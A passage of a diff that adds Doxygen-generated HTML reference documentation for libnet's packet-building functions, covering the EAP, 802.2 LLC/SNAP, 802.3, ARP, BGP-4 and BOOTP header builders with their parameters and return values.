+ <tr><td valign=top><em>eap_ver</em>&nbsp;</td><td>the EAP version </td></tr>
+ <tr><td valign=top><em>eap_type</em>&nbsp;</td><td>the EAP type </td></tr>
+ <tr><td valign=top><em>length</em>&nbsp;</td><td>frame length </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a25" doxytag="libnet-functions.h::libnet_build_802_2" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_802_2 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dsap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ssap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>control</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.2 LLC header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dsap</em>&nbsp;</td><td>destination service access point </td></tr>
+ <tr><td valign=top><em>ssap</em>&nbsp;</td><td>source service access point </td></tr>
+ <tr><td valign=top><em>control</em>&nbsp;</td><td>control field </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a26" doxytag="libnet-functions.h::libnet_build_802_2snap" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_802_2snap </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dsap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ssap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>control</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>oui</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.2 LLC SNAP header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dsap</em>&nbsp;</td><td>destination service access point </td></tr>
+ <tr><td valign=top><em>ssap</em>&nbsp;</td><td>source service access point </td></tr>
+ <tr><td valign=top><em>control</em>&nbsp;</td><td>control field </td></tr>
+ <tr><td valign=top><em>oui</em>&nbsp;</td><td>Organizationally Unique Identifier </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a27" doxytag="libnet-functions.h::libnet_build_802_3" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_802_3 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.3 header. The 802.3 header is almost identical to the RFC 894 Ethernet II header, the exception being that the field immediately following the source address holds the frame's length (as opposed to the layer 3 protocol). You should only use this function when libnet is initialized with the LIBNET_LINK interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination ethernet address </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>source ethernet address </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>frame length sans header </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a32" doxytag="libnet-functions.h::libnet_build_arp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_arp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hrd</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>pro</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hln</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>pln</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>op</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>sha</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>spa</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>tha</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>tpa</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an Address Resolution Protocol (ARP) header. Depending on the op value, the function builds one of several different types of RFC 826 or RFC 903 RARP packets. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>hrd</em>&nbsp;</td><td>hardware address format </td></tr>
+ <tr><td valign=top><em>pro</em>&nbsp;</td><td>protocol address format </td></tr>
+ <tr><td valign=top><em>hln</em>&nbsp;</td><td>hardware address length </td></tr>
+ <tr><td valign=top><em>pln</em>&nbsp;</td><td>protocol address length </td></tr>
+ <tr><td valign=top><em>op</em>&nbsp;</td><td>ARP operation type </td></tr>
+ <tr><td valign=top><em>sha</em>&nbsp;</td><td>sender's hardware address </td></tr>
+ <tr><td valign=top><em>spa</em>&nbsp;</td><td>sender's protocol address </td></tr>
+ <tr><td valign=top><em>tha</em>&nbsp;</td><td>target hardware address </td></tr>
+ <tr><td valign=top><em>tpa</em>&nbsp;</td><td>targer protocol address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a86" doxytag="libnet-functions.h::libnet_build_bgp4_header" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_bgp4_header </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>marker</em>[LIBNET_BGP4_MARKER_SIZE], </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) header. The primary function of a BGP speaking system is to exchange network reachability information with other BGP systems. This network reachability information includes information on the list of Autonomous Systems (ASs) that reachability information traverses. This information is sufficient to construct a graph of AS connectivity from which routing loops may be pruned and some policy decisions at the AS level may be enforced. This function builds the base BGP header which is used as a preamble before any other BGP header. For example, a BGP KEEPALIVE message may be built with only this function, while an error notification requires a subsequent call to libnet_build_bgp4_notification. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>marker</em>&nbsp;</td><td>a value the receiver can predict (if the message type is not BGP OPEN, or no authentication is used, these 16 bytes are normally set as all ones) </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>total length of the BGP message, including the header </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type code of the message (OPEN, UPDATE, NOTIFICATION or KEEPALIVE) </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a89" doxytag="libnet-functions.h::libnet_build_bgp4_notification" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_bgp4_notification </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>err_code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>err_subcode</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) notification header. A NOTIFICATION message is sent when an error condition is detected. Specific error information may be passed through the payload interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>err_code</em>&nbsp;</td><td>type of notification </td></tr>
+ <tr><td valign=top><em>err_subcode</em>&nbsp;</td><td>more specific information about the reported error. </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a87" doxytag="libnet-functions.h::libnet_build_bgp4_open" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_bgp4_open </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>src_as</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hold_time</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>bgp_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>opt_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) OPEN header. This is the first message sent by each side of a BGP connection. The optional parameters options should be constructed using the payload interface (see RFC 1771 for the options structures). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>protocol version (should be set to 4) </td></tr>
+ <tr><td valign=top><em>src_as</em>&nbsp;</td><td>Autonomous System of the sender </td></tr>
+ <tr><td valign=top><em>hold_time</em>&nbsp;</td><td>used to compute the maximum allowed time between the receipt of KEEPALIVE, and/or UPDATE messages by the sender </td></tr>
+ <tr><td valign=top><em>bgp_id</em>&nbsp;</td><td>BGP identifier of the sender </td></tr>
+ <tr><td valign=top><em>opt_len</em>&nbsp;</td><td>total length of the optional parameters field in bytes </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a88" doxytag="libnet-functions.h::libnet_build_bgp4_update" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_bgp4_update </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>unfeasible_rt_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>withdrawn_rt</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>total_path_attr_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>path_attributes</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>info_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>reachability_info</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) update header. Update messages are used to transfer routing information between BGP peers. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>unfeasible_rt_len</em>&nbsp;</td><td>indicates the length of the (next) "withdrawn routes" field in bytes </td></tr>
+ <tr><td valign=top><em>withdrawn_rt</em>&nbsp;</td><td>list of IP addresses prefixes for the routes that are being withdrawn; each IP address prefix is built as a 2-tuple &lt;length (1 byte), prefix (variable)&gt; </td></tr>
+ <tr><td valign=top><em>total_path_attr_len</em>&nbsp;</td><td>indicates the length of the (next) "path attributes" field in bytes </td></tr>
+ <tr><td valign=top><em>path_attributes</em>&nbsp;</td><td>each attribute is a 3-tuple &lt;type (2 bytes), length, value&gt; </td></tr>
+ <tr><td valign=top><em>info_len</em>&nbsp;</td><td>indicates the length of the (next) "network layer reachability information" field in bytes (needed for internal memory size calculation) </td></tr>
+ <tr><td valign=top><em>reachability_info</em>&nbsp;</td><td>2-tuples &lt;length (1 byte), prefix (variable)&gt;. </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a80" doxytag="libnet-functions.h::libnet_build_bootpv4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_bootpv4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>opcode</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>htype</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hlen</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hopcount</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>xid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>secs</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>flags</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
